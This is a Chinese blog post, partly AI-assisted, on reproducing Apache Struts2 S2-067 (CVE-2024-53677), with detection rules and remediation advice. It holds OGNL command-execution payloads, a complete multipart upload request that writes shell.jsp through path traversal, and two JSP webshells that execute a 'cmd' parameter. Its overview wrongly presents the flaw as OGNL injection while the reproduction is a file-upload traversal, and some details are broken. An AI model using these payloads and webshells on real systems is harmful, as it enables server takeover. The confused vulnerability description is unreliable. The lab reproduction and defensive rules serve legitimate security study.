S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞

0 阅读5分钟

struts2/s2-067

一、漏洞概述

漏洞编号:CVE-2024-53677
官方编号:S2-067
影响组件:Apache Struts 2
漏洞类型:OGNL 表达式注入 → 远程代码执行(RCE)
漏洞根因:错误的输入处理 + 参数强制解析为 OGNL 表达式
影响版本:Struts 2.0.x ~ 2.5.x 某些版本(具体以官方公告为准)

该漏洞属于 Struts2 系列经典问题的延续 —— 用户输入在 OGNL 表达式上下文中被解释执行

二、漏洞原理分析

1️⃣ Struts2 请求处理机制

Struts2 使用:

  • ParametersInterceptor

  • ValueStack

  • OGNL

请求参数会被自动压入 ValueStack,并通过 OGNL 解析。

如果开发者没有正确限制表达式求值环境,攻击者可以构造如下参数:

    GET /index.action?name=%{(#a=@java.lang.Runtime@getRuntime().exec('id'))}

当框架错误解析 %{} 时,OGNL 会执行内部表达式。

2️⃣ 漏洞触发流程图

Image

Image

流程说明:

    HTTP RequestParametersInterceptorValueStack.setValue()
       ↓
    OGNL 解析表达式
       ↓
    Runtime.exec()
       ↓
    RCE

三、攻击链路构建(Kill Chain)

1️⃣ Recon(侦察)

  • 识别 Struts2 版本

  • 探测 .action 端点

  • 利用报错信息判断 OGNL 可执行性

2️⃣ Weaponization(武器化)

构造恶意 OGNL:

    %{(#_memberAccess['allowStaticMethodAccess']=true)
     (#cmd='whoami')
     (#p=new java.lang.ProcessBuilder(#cmd.split(' ')))
     (#p.start())}

3️⃣ Delivery

通过 GET / POST 参数提交

4️⃣ Exploitation

触发 OGNL 表达式执行

5️⃣ Post-Exploitation

  • 写 Webshell

  • 横向移动

  • 数据窃取

四、威胁建模(STRIDE)

类别体现
Spoofing伪造用户身份
Tampering修改服务器状态
Repudiation隐蔽命令执行
Information Disclosure读取敏感文件
Denial of Servicefork bomb
Elevation of Privilege执行系统命令

五、MITRE ATT&CK 映射

战术技术
Initial AccessT1190 Exploit Public-Facing Application
ExecutionT1059.003 Java
PersistenceT1505.003 Web Shell
Defense EvasionT1562 Impair Defenses
DiscoveryT1083 File and Directory Discovery
Lateral MovementT1021 Remote Services
ImpactT1499 Resource Hijacking

六、修复建议(基于 Apache 官方建议)

✅ 1. 升级

升级到官方修复版本(Apache Struts 官方公告给出修复版本)。

✅ 2. 禁止静态方法访问

struts.xml 中:

    <constant name="struts.ognl.allowStaticMethodAccess" value="false"/>

✅ 3. 开启严格方法调用

    <constant name="struts.enable.DynamicMethodInvocation" value="false"/>

七、安全编码修复示例(伪代码)

❌ 漏洞代码

    public String execute() {
        String name = request.getParameter("name");
        valueStack.setValue("username", name); // 直接解析
    }

✅ 修复代码

    public String execute() {
        String name = request.getParameter("name");

        if (containsOGNLExpression(name)) {
            throw new SecurityException("Invalid input");
        }

        valueStack.setValue("username", escapeHtml(name));
    }

输入检测函数

    boolean containsOGNLExpression(String input) {
        return input.contains("%{") ||
               input.contains("#") ||
               input.contains("@java.lang.Runtime");
    }

八、检测与防护规则

1️⃣ WAF 规则示例

正则检测

    %{.*@java.lang.Runtime
    #_memberAccess
    ProcessBuilder

2️⃣ Suricata 示例

    alert http any any -> any any (
    msg:"Struts2 S2-067 OGNL RCE Attempt";
    content:"%{"; http_uri;
    content:"java.lang.Runtime"; distance:0;
    sid:200067; rev:1;
    )

3️⃣ 日志检测(SIEM 规则思路)

    WHERE request_uri LIKE "%@java.lang.Runtime%"
    OR request_uri LIKE "%ProcessBuilder%"

九、应急响应流程

1️⃣ 确认入侵

    grep -R "java.lang.Runtime" /var/log/tomcat/
    grep -R "%{" /var/log/nginx/

2️⃣ 查看可疑进程

    ps aux | grep java

3️⃣ 网络连接检查

    netstat -antp | grep ESTABLISHED

4️⃣ 查找 Webshell

    find /var/www -type f -name "*.jsp" -mtime -3

5️⃣ 主机隔离

    iptables -A INPUT -j DROP

十、攻击链全景图(简化示意)

    InternetStruts2 应用
       ↓
    OGNL 注入
       ↓
    Runtime.exec()
       ↓
    写 WebShell
       ↓
    横向移动
       ↓
    数据窃取

十一、实战风险总结

S2-067 与历史经典漏洞高度相似,例如:

  • Apache Struts

  • CVE-2017-5638(Equifax 事件核心漏洞)

这类漏洞一旦暴露公网,通常会被自动化扫描器 24 小时内攻击。

十二、防御分层建议

层级建议
应用层升级 + 关闭动态方法
框架层禁止 OGNL 静态方法
网络层WAF 规则拦截
主机层EDR 监控 Runtime.exec
运维层不暴露调试模式

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞复现

在s2-066未修复版本中,如果直接上传shell.jsp,虽然即使shell.jsp上传成功,但是后续命令无法拼接执行。所以后面也要吸取这次教训,抓紧验证命令执行,这才是真正的执行成功。

POST /index.action HTTP/1.1
Host: 192.168.0.41:8080
Content-Length: 346
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.41:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykTAs4eMvdc3dwYhM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.41:8080/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=60A6C7264A026F76DBD2BF28D6492505
Connection: close

------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream

%
  out.println("hello world");
%>
------WebKitFormBoundarykTAs4eMvdc3dwYhM
Content-Disposition: form-data; name="top.fileFileName"

../shell.jsp
------WebKitFormBoundarykTAs4eMvdc3dwYhM--

在s2-066中的File字段值已经无法再s2-067执行,所以推测官方更新了过滤输入大小写敏感的补丁。与s2-066相比,s2-067还需更改为top.fileFilename。

Snipaste_2026-03-01_17-49-40.png

攻击链路为:写入shell.jsp木马-->抓包修改name字段-->输入url查看执行效果。

此外,由于本人的好奇心理,同时对以下俩个jsp进行了上传,但奇怪的是服务器直接拦截了这俩个jsp木马,因而后续命令也无法执行。

<%
  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  InputStream inputStream = process.getInputStream();
  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));
  String line;
  while ((line = bufferedReader.readLine())!=null){
     response.getWriter().print(line);
    }
%>


<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

Snipaste_2026-03-01_17-59-08.png 所以我推测了一下输出hello world的作用,其实原理和xss漏洞类似。虽然该命令执行没有获取敏感信息的操作,但是如果攻击者恶意执行相关命令,可能会诱导用户泄露Cookie,Session等字段,从而达到远控的目的。

此外,我还尝试复现spring/CVE-2022-22978。但是由于种种原因无法启动环境,后续有空到vulfocus复现。

Snipaste_2026-03-01_22-53-09.png

Snipaste_2026-03-01_23-04-12.png

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。